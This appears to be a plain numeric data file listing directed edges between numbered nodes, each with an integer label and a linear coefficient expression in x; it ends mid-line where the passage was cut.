11104\n5->58\t35\t62501*x + 6910\n92->96\t67\t44171*x + 1663\n52->29\t38\t37549*x + 7964\n25->59\t84\t20681*x + 7356\n51->15\t63\t15823*x + 6860\n64->18\t80\t42937*x + 3592\n5->55\t39\t54983*x + 8160\n81->14\t77\t30203*x + 3971\n92->25\t52\t85243*x + 9617\n9->18\t80\t4793*x + 3794\n5->35\t88\t55903*x + 6195\n2->86\t53\t49727*x + 1808\n86->66\t44\t100333*x + 12225\n83->92\t51\t35129*x + 2630\n14->33\t122\t27743*x + 6336\n38->84\t89\t28703*x + 2794\n33->95\t111\t45959*x + 968\n51->11\t43\t94651*x + 12940\n53->15\t63\t21523*x + 6591\n57->31\t47\t80429*x + 2760\n76->65\t95\t22193*x + 5345\n37->90\t86\t73079*x + 7360\n8->84\t89\t3719*x + 798\n31->46\t74\t31177*x + 633\n93->92\t51\t88169*x + 10472\n14->69\t59\t52709*x + 1378\n48->44\t45\t29641*x + 3113\n10->62\t103\t95401*x + 9711\n26->92\t51\t91331*x + 8541\n29->64\t70\t60617*x + 3727\n52->97\t108\t2711*x + 4142\n66->88\t71\t65713*x + 5489\n16->29\t38\t1307*x + 3464\n73->5\t82\t68113*x + 2175\n69->36\t79\t89897*x + 10719\n57->49\t68\t887*x + 1259\n46->48\t78\t57131*x + 5488\n42->0\t33\t13711*x + 1132\n41->38\t75\t2113*x + 4303\n0->17\t104\t5003*x + 82\n33->4\t48\t59*x + 215\n51->65\t95\t76403*x + 4251\n83->33\t122\t65423*x + 4209\n67->60\t85\t53437*x + 4045\n25->56\t119\t52313*x + 1561\n3->80\t110\t95707*x + 11759\n47->8\t49\t85669*x + 10359\n65->66\t44\t30493*x + 8113\n49->10\t46\t82307*x + 4380\n34->2\t72\t98641*x + 11801\n39->16\t66\t57737*x + 2732\n53->13\t99\t74293*x + 5844\n50->73\t102\t103769*x + 14429\n95->32\t69\t7591*x + 6280\n12->45\t13\t29347*x + 884\n34->13\t99\t21407*x + 2597\n13->13\t99\t91393*x + 14547\n64->51\t97\t87323*x + 11160\n77->20\t62\t56393*x + 1729\n0->21\t9\t96259*x + 11952\n64->32\t69\t35291*x + 6402\n5->86\t53\t86561*x + 10838\n24->52\t42\t23059*x + 5154\n59->86\t53\t3323*x + 4554\n29->25\t52\t49177*x + 650\n10->83\t12\t37607*x + 2532\n29->57\t109\t74941*x + 7545\n73->76\t124\t19997*x + 6601\n13->14\t77\t102461*x + 10581\n23->75\t56\t54721*x + 4477\n30->10\t46\t91433*x + 10137\n68->38\t75\t83933*x + 1372\n75->10\t46\t24107*x + 3199\n38->35\t88\t100769*x + 12117\n21->69\t59\t1913*x + 2584\n73->22\t64\t16759*x + 3393\n7->77\t106\t62603*x + 3653\n2->50\t116\t103123*x + 9038\n22->52\t42\t97961*x + 9508\n38->51\t97\t37159*x + 6351\n96->70\t57\t18617*x + 7340\n98->88\t71\t73019*x + 6067\n55->44\t45\t78979*x + 3941\n9->78\t76\t71671*x + 1820\n37->50\t116\t34231*x + 8052\n17->23\t11\t11813*x + 4207\n76->86\t53\t23339*x + 403\n30->32\t69\t11261*x + 7344\n26->36\t79\t43487*x + 1415\n68->32\t69\t4877*x + 4938\n4->79\t100\t39239*x + 1949\n29->96\t67\t40039*x + 2657\n11->38\t75\t63527*x + 7682\n22->38\t75\t103001*x + 13770\n56->50\t116\t18859*x + 3485\n85->95\t111\t23677*x + 4810\n14->29\t38\t76837*x + 8033\n42->78\t76\t33347*x + 8151\n53->20\t62\t38231*x + 2138\n57->22\t64\t86857*x + 12802\n71->6\t123\t40361*x + 1463\n55->60\t85\t86993*x + 10638\n29->95\t111\t16889*x + 5804\n91->14\t77\t87701*x + 11429\n26->60\t85\t27073*x + 6234\n84->5\t82\t77447*x + 3034\n76->2\t72\t76003*x + 2286\n97->8\t49\t89083*x + 10836\n93->0\t33\t97499*x + 9160\n74->14\t77\t48337*x + 7025\n0->12\t101\t93371*x + 16125\n15->36\t79\t2843*x + 5304\n21->94\t125\t2473*x + 3949\n20->10\t46\t3433*x + 932\n86->65\t95\t42901*x + 7151\n72->4\t48\t61871*x + 7983\n42->61\t10\t25153*x + 4370\n56->20\t62\t1009*x + 2735\n43->19\t61\t96911*x + 11338\n38->46\t74\t24229*x + 7408\n85->43\t105\t87943*x + 11888\n4->3\t118\t39619*x + 1066\n73->12\t101\t73363*x + 4897\n36->36\t79\t7369*x + 7708\n34->84\t89\t61231*x + 3484\n25->16\t66\t98837*x + 13454\n49->97\t108\t379*x + 573\n21->91\t91\t90011*x + 16217\n75->62\t103\t2017*x + 4833\n55->73\t102\t81563*x + 5715\n70->90\t86\t18433*x + 3716\n83->80\t110\t2207*x + 5202\n10->55\t39\t25163*x + 763\n56->90\t86\t82613*x + 4145\n9->84\t89\t2693*x + 4572\n62->52\t42\t49747*x + 3722\n14->43\t105\t103573*x + 12555\n6->66\t44\t73243*x + 1431\n77->21\t9\t98669*x + 8308\n96->13\t99\t53173*x + 7319\n53->21\t9\t84691*x + 10781\n91->76\t124\t67003*x + 5800\n64->28\t50\t30677*x + 3404\n74->71\t37\t78059*x + 916\n62->30\t96\t96757*x + 9268\n17->60\t85\t53617*x + 1635\n76->66\t44\t14549*x + 4449\n34->99\t54\t36497*x + 1775\n24->91\t91\t55399*x + 7778\n71->34\t41\t5857*x + 3554\n82->37\t114\t44383*x + 7288\n21->71\t37\t37217*x + 3862\n43->43\t105\t71263*x + 5068\n16->7\t126\t25643*x + 2418\n40->61\t10\t42227*x + 2501\n27->40\t34\t15359*x + 3330\n45->33\t122\t99191*x + 14269\n80->68\t36\t98543*x + 15586\n5->12\t101\t5879*x + 7503\n56->4\t48\t44449*x + 6763\n72->50\t116\t56527*x + 2039\n29->40\t34\t33647*x + 1263\n64->16\t66\t19267*x + 5049\n65->97\t108\t86029*x + 11133\n64->92\t51\t25733*x + 85\n87->78\t76\t72647*x + 3250\n21->95\t111\t5669*x + 3850\n57->28\t50\t70289*x + 6222\n45->32\t69\t30809*x + 1316\n55->7\t126\t41863*x + 833\n61->22\t64\t92699*x + 9017\n5->97\t108\t10529*x + 2011\n10->5\t82\t56167*x + 1455\n10->95\t111\t89261*x + 8381\n67->36\t79\t47837*x + 7363\n9->52\t42\t5471*x + 1608\n36->1\t112\t149*x + 2599\n91->1\t112\t66791*x + 2222\n60->70\t57\t57637*x + 51\n96->1\t112\t40939*x + 7557\n15->11\t43\t84247*x + 15761\n79->68\t36\t39857*x + 5324\n8->51\t97\t28351*x + 5278\n51->31\t47\t69457*x + 4529\n70->10\t46\t46327*x + 1937\n42->37\t114\t22639*x + 4503\n31->14\t77\t78539*x + 6853\n45->74\t55\t51517*x + 5509\n76->11\t43\t33113*x + 4811\n58->88\t71\t96181*x + 8194\n2->74\t55\t29059*x + 2104\n9->72\t92\t75611*x + 4440\n15->64\t70\t73859*x + 2463\n9->60\t85\t84011*x + 731\n39->56\t119\t78721*x + 5597\n59->20\t62\t12149*x + 6380\n3->42\t87\t100207*x + 13767\n80->30\t96\t82847*x + 6230\n43->79\t100\t49411*x + 3488\n61->82\t40\t63857*x + 3718\n21->4\t48\t65257*x + 7078\n58->39\t113\t85439*x + 15188\n16->33\t122\t21859*x + 2799\n49->74\t55\t23879*x + 1085\n58->67\t117\t46957*x + 3565\n61->98\t93\t17209*x + 3318\n90->7\t126\t47147*x + 7962\n3->3\t118\t101531*x + 10072\n71->90\t86\t67271*x + 4316\n14->92\t51\t18097*x + 5839\n92->49\t68\t42239*x + 7457\n36->46\t74\t6553*x + 3672\n36->18\t80\t32693*x + 7326\n37->53\t120\t5851*x + 2942\n0->11\t43\t67489*x + 1041\n60->92\t51\t48973*x + 5084\n48->71\t37\t2137*x + 6473\n63->86\t53\t77081*x + 6303\n53->11\t43\t1511*x + 7428\n94->97\t108\t83939*x + 4042\n22->97\t108\t68711*x + 28\n60->33\t122\t13399*x + 6041\n81->2\t72\t97673*x + 13706\n97->77\t106\t82189*x + 6192\n85->81\t32\t8317*x + 4198\n67->6\t123\t87721*x + 9417\n94->75\t56\t43331*x + 688\n95->9\t115\t87751*x + 9570\n86->2\t72\t97789*x + 12630\n28->18\t80\t88997*x + 8282\n21->56\t119\t97787*x + 16343\n60->28\t50\t37049*x + 4373\n58->92\t51\t90821*x + 12967\n36->2\t72\t26849*x + 2158\n59->52\t42\t9187*x + 3328\n59->73\t102\t70663*x + 7460\n39->26\t81\t80407*x + 5093\n48->84\t89\t102301*x + 16274\n42->32\t69\t71059*x + 1482\n82->8\t49\t1787*x + 1206\n82->24\t65\t20359*x + 2938\n62->55\t39\t15773*x + 5774\n18->28\t50\t45691*x + 5864\n44->91\t91\t49201*x + 6775\n36->72\t92\t72871*x + 516\n10->74\t55\t49943*x + 4428\n5->95\t111\t87211*x + 13027\n28->98\t93\t74527*x + 6519\n60->18\t80\t6043*x + 5984\n77->7\t126\t31667*x + 1887\n85->16\t66\t21179*x + 8152\n92->87\t121\t56951*x + 5644\n19->59\t84\t7039*x + 3994\n20->49\t68\t55673*x + 6268\n54->50\t116\t85361*x + 8948\n52->51\t97\t10427*x + 2791\n57->76\t124\t72577*x + 6131\n90->49\t68\t44987*x + 7734\n43->65\t95\t22367*x + 6593\n4->53\t120\t7019*x + 5809\n18->58\t35\t97609*x + 8458\n64->80\t110\t79201*x + 8003\n71->59\t84\t54973*x + 8162\n25->82\t40\t67759*x + 1094\n26->72\t92\t62273*x + 2016\n13->33\t122\t36523*x + 5300\n91->90\t86\t55337*x + 6917\n66->9\t115\t58543*x + 79\n13->12\t101\t58027*x + 3775\n79->75\t56\t59333*x + 6653\n73->52\t42\t72031*x + 2664\n96->97\t108\t71479*x + 5391\n54->23\t11\t13417*x + 4550\n19->32\t69\t32531*x + 4486\n97->69\t59\t61519*x + 1170\n46->35\t88\t7639*x + 5108\n92->81\t32\t61949*x + 6339\n60->74\t55\t87793*x + 14187\n25->51\t97\t34273*x + 857\n85->22\t64\t77267*x + 4330\n0->89\t107\t97103*x + 15661\n77->48\t78\t75931*x + 2934\n41->8\t49\t13163*x + 6104\n19->57\t109\t45053*x + 1591\n38->82\t40\t45329*x + 5947\n38->61\t10\t87869*x + 15941\n19->51\t97\t25943*x + 292\n54->77\t106\t1549*x + 4167\n10->41\t73\t14669*x + 1083\n36->94\t125\t31397*x + 2621\n78->23\t11\t23549*x + 852\n45->37\t114\t14639*x + 1113\n54->92\t51\t77761*x + 4013\n75->14\t77\t2267*x + 4183\n48->64\t70\t46489*x + 4782\n66->93\t98\t34297*x + 3373\n10->76\t124\t86711*x + 8584\n0->82\t40\t70019*x + 5289\n63->12\t101\t47143*x + 238\n52->36\t79\t499*x + 2867\n59->91\t91\t88867*x + 11472\n89->27\t58\t62477*x + 827\n41->59\t84\t20551*x + 7564\n19->19\t61\t85793*x + 14389\n8->87\t121\t89633*x + 8508\n18->27\t58\t6689*x + 4883\n75->4\t48\t80933*x + 604\n88->42\t87\t60251*x + 1967\n24->22\t64\t92459*x + 15790\n10->7\t126\t63587*x + 879\n80->20\t62\t2377*x + 4546\n4->38\t75\t94559*x + 8301\n82->43\t105\t4721*x + 1826\n51->48\t78\t37397*x + 5061\n28->86\t53\t33203*x + 699\n71->55\t39\t43613*x + 5141\n51->84\t89\t64919*x + 4943\n56->93\t98\t30517*x + 4270\n94->18\t80\t71483*x + 8132\n29->41\t73\t70249*x + 6903\n79->27\t58\t26177*x + 1536\n35->34\t41\t81703*x + 4354\n56->51\t97\t63361*x + 1413\n20->26\t81\t51907*x + 6841\n11->23\t11\t85093*x + 9983\n97->68\t36\t60139*x + 7268\n4->46\t74\t8329*x + 3908\n97->36\t79\t41729*x + 4288\n89->57\t109\t18637*x + 1915\n34->96\t67\t61729*x + 5395\n46->51\t97\t45389*x + 1400\n61->59\t84\t13*x + 1143\n63->93\t98\t61909*x + 3327\n77->19\t61\t94903*x + 12557\n61->93\t98\t41081*x + 7365\n64->31\t47\t1783*x + 5659\n34->57\t109\t23857*x + 5827\n5->0\t33\t40819*x + 5348\n37->64\t70\t16141*x + 7629\n95->7\t126\t33829*x + 248\n66->37\t114\t65119*x + 1466\n71->30\t96\t56809*x + 7822\n52->65\t95\t84871*x + 13316\n32->26\t81\t89963*x + 13600\n27->74\t55\t4003*x + 3134\n88->90\t86\t16763*x + 6926\n29->29\t38\t61667*x + 556\n90->98\t93\t21821*x + 525\n42->44\t45\t66653*x + 6857\n56->55\t39\t17989*x + 7104\n59->69\t59\t14071*x + 2603\n89->99\t54\t86501*x + 15212\n93->61\t10\t85297*x + 15676\n67->73\t102\t101*x + 3144\n49->20\t62\t1061*x + 3864\n79->2\t72\t163*x + 1001\n77->11\t43\t72701*x + 4011\n54->0\t33\t14683*x + 7705\n46->56\t119\t57653*x + 2291\n73->42\t87\t8693*x + 6772\n65->15\t63\t39119*x + 3965\n21->72\t92\t24547*x + 429\n39->11\t43\t419*x + 5028\n77->68\t36\t71693*x + 1321\n61->69\t59\t85193*x + 14615\n33->90\t86\t15289*x + 7266\n20->67\t117\t42013*x + 4715\n79->32\t69\t35107*x + 1753\n43->12\t101\t61463*x + 2264\n24->7\t126\t34919*x + 2137\n40->27\t58\t69557*x + 4433\n57->83\t12\t70793*x + 5299\n30->18\t80\t16631*x + 3933\n87->10\t46\t241*x + 4838\n25->34\t41\t89783*x + 10934\n35->2\t72\t101681*x + 9107\n49->64\t70\t7717*x + 1739\n12->3\t118\t103553*x + 12151\n14->5\t82\t6793*x + 1501\n25->54\t94\t85817*x + 8465\n33->47\t90\t92173*x + 14421\n9->53\t120\t81919*x + 7018\n49->14\t77\t12157*x + 1597\n49->12\t101\t74441*x + 6070\n29->0\t33\t79241*x + 3025\n60->75\t56\t69899*x + 5229\n49->77\t106\t21961*x + 6786\n82->80\t110\t50101*x + 5585\n12->90\t86\t68879*x + 1289\n32->44\t45\t15329*x + 3812\n33->20\t62\t10079*x + 7945\n74->73\t102\t46261*x + 492\n38->8\t49\t2837*x + 202\n23->18\t80\t46747*x + 5563\n3->78\t76\t85333*x + 10941\n65->98\t93\t19949*x + 5127\n35->97\t108\t89611*x + 16316\n27->24\t65\t76289*x + 2953\n7->65\t95\t74897*x + 98\n21->13\t99\t47857*x + 4816\n23->76\t124\t37537*x + 2190\n40->97\t108\t90053*x + 12080\n42->89\t107\t85831*x + 14672\n61->53\t120\t37507*x + 1269\n2->0\t33\t41719*x + 7348\n98->84\t89\t47791*x + 7367\n34->79\t100\t47303*x + 336\n90->5\t82\t69239*x + 12\n84->9\t115\t18043*x + 1717\n84->53\t120\t77029*x + 2966\n48->12\t101\t87587*x + 15775\n45->66\t44\t49831*x + 8095\n82->85\t83\t8689*x + 811\n9->26\t81\t40639*x + 6513\n24->28\t50\t58549*x + 3372\n19->75\t56\t84017*x + 515\n62->32\t69\t5711*x + 6820\n79->40\t34\t4729*x + 7634\n2->47\t90\t85661*x + 11664\n53->43\t105\t42641*x + 1332\n15->12\t101\t35267*x + 860\n83->22\t64\t53101*x + 1819\n23->5\t82\t7349*x + 7679\n95->14\t77\t8219*x + 4232\n65->26\t81\t94349*x + 16369\n62->60\t85\t66509*x + 4286\n86->8\t49\t100987*x + 12864\n26->2\t72\t73189*x + 6260\n73->81\t32\t85643*x + 15628\n12->17\t104\t44101*x + 5816\n59->43\t105\t77797*x + 6630\n1->11\t43\t73369*x + 5158\n17->25\t52\t10973*x + 5478\n39->84\t89\t56891*x + 5575\n8->8\t49\t33247*x + 4649\n73->96\t67\t32803*x + 4704\n38->83\t12\t12547*x + 5017\n52->22\t64\t10357*x + 6784\n74->95\t111\t56179*x + 3151\n95->22\t64\t27271*x + 6288\n23->85\t83\t67427*x + 1324\n63->99\t54\t13009*x + 3929\n2->43\t105\t75821*x + 4097\n78->86\t53\t63781*x + 3707\n89->39\t113\t26111*x + 2550\n3->54\t94\t42703*x + 7625\n32->46\t74\t38069*x + 7333\n97->46\t74\t95929*x + 11420\n66->40\t34\t12377*x + 2323\n20->36\t79\t104551*x + 15006\n4->10\t46\t46649*x + 4850\n69->69\t59\t25951*x + 5406\n84->68\t36\t1231*x + 2337\n58->72\t92\t71353*x + 3948\n20->61\t10\t53231*x + 3659\n48->4\t48\t86771*x + 8473\n36->3\t118\t36467*x + 3602\n1->76\t124\t56383*x + 6760\n57->57\t109\t21419*x + 7328\n37->42\t87\t6263*x + 131\n35->83\t12\t23609*x + 2398\n76->30\t96\t58763*x + 88\n38->0\t33\t48679*x + 7656\n92->32\t69\t44959*x + 4103\n51->44\t45\t6961*x + 2983\n25->11\t43\t16249*x + 7847\n69->40\t34\t77431*x + 7552\n16->44\t45\t31327*x + 498\n28->69\t59\t64627*x + 7015\n30->81\t32\t68389*x + 4265\n51->45\t13\t8147*x + 7935\n87->73\t102\t97577*x + 10530\n25->79\t100\t22481*x + 1456\n62->82\t40\t81181*x + 4360\n30->8\t49\t199*x + 562\n32->80\t110\t32933*x + 3211\n18->71\t37\t49499*x + 3166\n31->41\t73\t31663*x + 4743\n71->78\t76\t33409*x + 197\n31->31\t47\t11897*x + 7024\n24->77\t106\t57829*x + 1948\n57->24\t65\t92143*x + 10624\n59->14\t77\t64693*x + 960\n8->39\t113\t28559*x + 345\n3->11\t43\t11059*x + 2095\n38->81\t32\t78781*x + 6930\n86->87\t121\t80677*x + 784\n53->74\t55\t10247*x + 788\n93->80\t110\t54647*x + 3692\n91->42\t87\t36251*x + 100\n96->16\t66\t22807*x + 6850\n31->47\t90\t70183*x + 2534\n99->26\t81\t55127*x + 1398\n45->8\t49\t72467*x + 1733\n86->4\t48\t91381*x + 10667\n26->35\t88\t60737*x + 4206\n28->10\t46\t43093*x + 2856\n85->65\t95\t43627*x + 3989\n64->22\t64\t72091*x + 813\n84->13\t99\t21143*x + 2086\n67->16\t66\t49139*x + 4592\n28->2\t72\t70201*x + 4285\n91->37\t114\t58907*x + 539\n36->24\t65\t15149*x + 2590\n7->57\t109\t43321*x + 721\n25->84\t89\t55807*x + 3652\n8->98\t93\t51347*x + 2754\n11->48\t78\t40459*x + 6165\n29->32\t69\t99859*x + 15158\n9->80\t110\t80341*x + 4574\n89->98\t93\t5281*x + 1009\n7->43\t105\t7817*x + 2452\n23->62\t103\t67129*x + 3002\n72->49\t68\t7561*x + 3386\n18->60\t85\t87881*x + 8577\n79->25\t52\t26993*x + 836\n31->5\t82\t11251*x + 6084\n94->22\t64\t14723*x + 3782\n4->59\t84\t27179*x + 4282\n89->43\t105\t94603*x + 16188\n81->94\t125\t10711*x + 4756\n91->6\t123\t56963*x + 2685\n67->1\t112\t37897*x + 2699\n48->48\t78\t13469*x + 5264\n24->43\t105\t2239*x + 8063\n0->49\t68\t58573*x + 5969\n85->24\t65\t99833*x + 11621\n98->23\t11\t26357*x + 7764\n61->50\t116\t13151*x + 5908\n20->28\t50\t13411*x + 502\n39->58\t35\t37529*x + 2251\n56->74\t55\t69829*x + 7798\n62->44\t45\t92641*x + 13471\n8->92\t51\t84629*x + 15759\n30->72\t92\t55511*x + 928\n45->0\t33\t34963*x + 6846\n77->94\t125\t70657*x + 4735\n42->22\t64\t24533*x + 7609\n85->56\t119\t66271*x + 1518\n97->22\t64\t96149*x + 15380\n24->37\t114\t50599*x + 7180\n80->52\t42\t42677*x + 8122\n34->74\t55\t32381*x + 150\n67->45\t13\t77977*x + 2217\n30->86\t53\t93263*x + 10724\n81->50\t116\t56263*x + 4124\n29->61\t10\t56821*x + 4794\n22->45\t13\t2851*x + 6016\n0->0\t33\t1747*x + 368\n59->8\t49\t17393*x + 3068\n13->41\t73\t78823*x + 6110\n14->2\t72\t98621*x + 15295\n59->75\t56\t22619*x + 8058\n59->1\t112\t10391*x + 7167\n49->51\t97\t78203*x + 5761\n56->60\t85\t20549*x + 4496\n8->42\t87\t50291*x + 6998\n97->31\t47\t29873*x + 4869\n4->74\t55\t16673*x + 5915\n50->84\t89\t73433*x + 6659\n36->14\t77\t100981*x + 13345\n15->63\t60\t87473*x + 14772\n99->31\t47\t5923*x + 5026\n62->93\t98\t87931*x + 16057\n51->32\t69\t40597*x + 3195\n87->51\t97\t27253*x + 4375\n45->13\t99\t4637*x + 7211\n7->93\t98\t82193*x + 2136\n99->9\t115\t28289*x + 6252\n4->49\t68\t21139*x + 5361\n55->53\t120\t3109*x + 654\n5->83\t12\t3469*x + 5828\n96->17\t104\t58313*x + 1334\n20->54\t94\t87313*x + 9306\n20->68\t36\t51929*x + 7243\n26->6\t123\t67607*x + 956\n2->59\t84\t52889*x + 4052\n24->89\t107\t89329*x + 13739\n60->20\t62\t103511*x + 9046\n61->26\t81\t63367*x + 5997\n88->48\t78\t12541*x + 359\n97->49\t68\t15679*x + 3326\n71->45\t13\t5023*x + 2120\n5->71\t37\t6911*x + 6464\n98->96\t67\t96517*x + 14898\n35->69\t59\t49639*x + 3056\n92->54\t94\t27739*x + 5736\n77->5\t82\t2311*x + 846\n58->64\t70\t36913*x + 6187\n50->42\t87\t57037*x + 6740\n76->97\t108\t62903*x + 5833\n39->4\t48\t46523*x + 2073\n82->36\t79\t85133*x + 12977\n1->51\t97\t51137*x + 3153\n94->72\t92\t86587*x + 11380\n48->89\t107\t17669*x + 4764\n75->84\t89\t40883*x + 7105\n7->56\t119\t101111*x + 14477\n78->7\t126\t56123*x + 1343\n63->76\t124\t80021*x + 5566\n8->75\t56\t53653*x + 1942\n70->63\t60\t2687*x + 4247\n37->10\t46\t8629*x + 1237\n95->54\t94\t68897*x + 1392\n52->7\t126\t2251*x + 6548\n80->14\t77\t83437*x + 133\n74->68\t36\t11731*x + 5302\n84->26\t81\t52181*x + 529\n10->60\t85\t21613*x + 233\n41->13\t99\t5261*x + 4676\n57->73\t102\t4271*x + 6496\n60->38\t75\t66107*x + 5682\n98->53\t120\t6653*x + 6678\n97->81\t32\t74219*x + 881\n25->94\t125\t46511*x + 6681\n50->59\t84\t28201*x + 867\n93->7\t126\t30161*x + 5373\n70->66\t44\t19541*x + 7004\n84->37\t114\t65537*x + 6477\n21->32\t69\t18583*x + 3258\n13->81\t32\t11783*x + 4260\n19->6\t123\t22153*x + 1679\n40->45\t13\t34897*x + 5368\n8->69\t59\t63299*x + 7475\n54->72\t92\t59183*x + 2028\n78->27\t58\t20129*x + 1701\n53->53\t120\t54059*x + 3945\n46->70\t57\t16007*x + 2256\n39->81\t32\t16937*x + 4628\n69->39\t113\t70687*x + 4765\n56->72\t92\t72229*x + 4218\n32->12\t101\t86491*x + 14989\n60->15\t63\t3137*x + 3487\n44->67\t117\t87523*x + 13328\n98->12\t101\t3851*x + 5950\n63->75\t56\t30781*x + 7546\n22->83\t12\t58379*x + 3859\n81->43\t105\t72139*x + 4716\n74->38\t75\t89519*x + 14015\n18->26\t81\t8123*x + 2155\n37->47\t90\t39511*x + 163\n12->16\t66\t39929*x + 599\n67->49\t68\t69847*x + 1857\n59->34\t41\t99391*x + 8244\n18->48\t78\t823*x + 8012\n25->78\t76\t76091*x + 339\n6->76\t124\t78191*x + 4983\n76->99\t54\t919*x + 4294\n52->19\t61\t97549*x + 15509\n5->64\t70\t7069*x + 2404\n46->93\t98\t17551*x + 2232\n7->33\t122\t10889*x + 6736\n48->73\t102\t90001*x + 9307\n19->48\t78\t19207*x + 5319\n79->59\t84\t62983*x + 4674\n92->91\t91\t9631*x + 7907\n61->51\t97\t8263*x + 6742\n64->13\t99\t48859*x + 160\n70->74\t55\t7127*x + 7747\n24->23\t11\t94483*x + 10963\n0->41\t73\t43457*x + 4421\n5->2\t72\t77237*x + 6231\n32->16\t66\t80273*x + 5618\n1->22\t64\t37253*x + 5166\n14->18\t80\t93871*x + 12520\n45->70\t57\t93427*x + 9356\n89->52\t42\t14243*x + 6962\n22->95\t111\t41641*x + 4866\n7->53\t120\t82571*x + 3137\n33->30\t96\t33911*x + 982\n98->72\t92\t74707*x + 2276\n9->0\t33\t27361*x + 1931\n31->26\t81\t28183*x + 7828\n44->15\t63\t83497*x + 419\n64->63\t60\t5981*x + 487\n37->30\t96\t76081*x + 7386\n40->93\t98\t45599*x + 4275\n20->78\t76\t33581*x + 6314\n82->13\t99\t94561*x + 14963\n67->58\t35\t36931*x + 5738\n73->15\t63\t97171*x + 10179\n89->35\t88\t53849*x + 5032\n50->16\t66\t40867*x + 5595\n98->8\t49\t36341*x + 4889\n33->82\t40\t58901*x + 6185\n53->42\t87\t3011*x + 4092\n21->45\t13\t44647*x + 219\n19->35\t88\t17987*x + 5349\n75->77\t106\t12011*x + 4532\n93->29\t38\t17681*x + 744\n68->64\t70\t32497*x + 2769\n54->70\t57\t5693*x + 7772\n15->86\t53\t47293*x + 5190\n75->21\t9\t41777*x + 6876\n45->59\t84\t1049*x + 2561\n83->26\t81\t24391*x + 2388\n34->38\t75\t99689*x + 9289\n56->84\t89\t20219*x + 760\n8->45\t13\t20921*x + 1293\n28->11\t43\t56509*x + 4722\n40->95\t111\t2081*x + 4455\n17->68\t36\t44119*x + 3542\n26->76\t124\t53267*x + 623\n15->84\t89\t55147*x + 7593\n8->93\t98\t47977*x + 2749\n56->67\t117\t69389*x + 6774\n55->97\t108\t102359*x + 11671\n31->0\t33\t56909*x + 1997\n52->92\t51\t29207*x + 3491\n46->75\t56\t34171*x + 1359\n24->11\t43\t39113*x + 1986\n92->60\t85\t72493*x + 2775\n17->66\t44\t59167*x + 2974\n8->73\t102\t47591*x + 3226\n74->21\t9\t34457*x + 1133\n94->94\t125\t14869*x + 2434\n87->82\t40\t30271*x + 7446\n37->3\t118\t12037*x + 1355\n0->81\t32\t104119*x + 9887\n57->45\t13\t78079*x + 2604\n23->40\t34\t76379*x + 4925\n39->69\t59\t71947*x + 6059\n55->32\t69\t10093*x + 1864\n93->10\t46\t93419*x + 13819\n2->20\t62\t82163*x + 5429\n28->55\t39\t16607*x + 6113\n59->0\t33\t30689*x + 2053\n95->38\t75\t78989*x + 7990\n50->17\t104\t39631*x + 7930\n35->51\t97\t41257*x + 6563\n71->70\t57\t9859*x + 5151\n1->34\t41\t55487*x + 3799\n82->95\t111\t92107*x + 15969\n30->77\t106\t30071*x + 4725\n89->16\t66\t34687*x + 2923\n24->24\t65\t16831*x + 997\n16->77\t106\t81817*x + 2435\n39->73\t102\t53479*x + 8048\n85->92\t51\t78707*x + 1809\n39->0\t33\t52813*x + 4710\n40->2\t72\t33529*x + 7414\n47->99\t54\t99607*x + 12436\n92->45\t13\t59513*x + 6216\n40->87\t121\t66293*x + 4685\n13->93\t98\t14449*x + 2125\n40->7\t126\t65141*x + 5309\n61->4\t48\t73709*x + 5986\n67->2\t72\t12703*x + 6809\n44->27\t58\t34361*x + 7771\n45->64\t70\t17377*x + 4870\n42->15\t63\t21149*x + 1622\n95->66\t44\t7013*x + 1465\n84->31\t47\t38317*x + 5050\n71->15\t63\t1439*x + 7461\n72->94\t125\t12343*x + 1902\n56->61\t10\t6091*x + 2632\n56->15\t63\t90547*x + 12908\n72->41\t73\t70177*x + 2993\n75->97\t108\t77569*x + 5765\n20->39\t113\t97397*x + 13821\n57->81\t32\t6551*x + 3086\n26->70\t57\t46559*x + 1496\n37->56\t119\t13381*x + 5571\n12->57\t109\t32009*x + 4089\n99->98\t93\t86137*x + 10614\n70->5\t82\t84421*x + 12628\n86->38\t75\t95651*x + 10335\n93->4\t48\t66029*x + 6190\n31->58\t35\t47947*x + 3209\n42->87\t121\t66959*x + 5743\n90->9\t115\t71837*x + 3766\n66->23\t11\t23251*x + 1521\n12->82\t40\t17041*x + 3188\n40->28\t50\t78889*x + 5234\n97->14\t77\t36979*x + 5497\n27->87\t121\t53597*x + 183\n87->27\t58\t16787*x + 4525\n22->63\t60\t104701*x + 8730\n12->61\t10\t71719*x + 7112\n27->57\t109\t102551*x + 14850\n62->17\t104\t18503*x + 288\n14->80\t110\t45121*x + 4191\n84->78\t76\t91033*x + 11252\n18->3\t118\t77647*x + 4225\n51->62\t103\t19597*x + 3482\n73->46\t74\t48761*x + 5514\n76->56\t119\t48163*x + 4172\n11->12\t101\t40823*x + 5808\n96->73\t102\t18269*x + 2479\n11->39\t113\t42359*x + 3347\n39->59\t84\t81883*x + 2014\n44->40\t34\t65147*x + 415\n53->12\t101\t66067*x + 6135\n1->40\t34\t72481*x + 6632\n74->92\t51\t3539*x + 6238\n54->49\t68\t88471*x + 8481\n67->84\t89\t37951*x + 737\n92->75\t56\t86017*x + 13174\n61->5\t82\t63929*x + 6111\n58->19\t61\t100129*x + 13469\n14->49\t68\t52541*x + 964\n2->83\t12\t74077*x + 7464\n13->9\t115\t80749*x + 5838\n26->54\t94\t11779*x + 7761\n59->51\t97\t1489*x + 1207\n69->71\t37\t46171*x + 2905\n12->14\t77\t34721*x + 4671\n47->25\t52\t37573*x + 4078\n4->34\t41\t72277*x + 5510\n50->27\t58\t92203*x + 14588\n0->58\t35\t16301*x + 1573\n1->49\t68\t2287*x + 4229\n43->98\t93\t74317*x + 1404\n66->36\t79\t75521*x + 4824\n51->70\t57\t5189*x + 3165\n34->22\t64\t22369*x + 3511\n16->2\t72\t99083*x + 12009\n60->61\t10\t65963*x + 3978\n17->4\t48\t42487*x + 1318\n59->77\t106\t82351*x + 1134\n7->70\t57\t15173*x + 4987\n66->39\t113\t44249*x + 6117\n12->48\t78\t49043*x + 3131\n59->40\t34\t56197*x + 3516\n3->31\t47\t52919*x + 5075\n78->46\t74\t97283*x + 11842\n59->45\t13\t37567*x + 50\n86->35\t88\t74567*x + 5132\n14->3\t118\t100213*x + 11571\n26->16\t66\t12601*x + 7869\n3->59\t84\t30097*x + 7846\n39->35\t88\t69653*x + 4025\n28->51\t97\t16871*x + 4919\n67->59\t84\t53939*x + 6103\n36->37\t114\t64013*x + 2309\n61->8\t49\t60497*x + 1546\n36->9\t115\t76873*x + 2259\n12->20\t62\t75337*x + 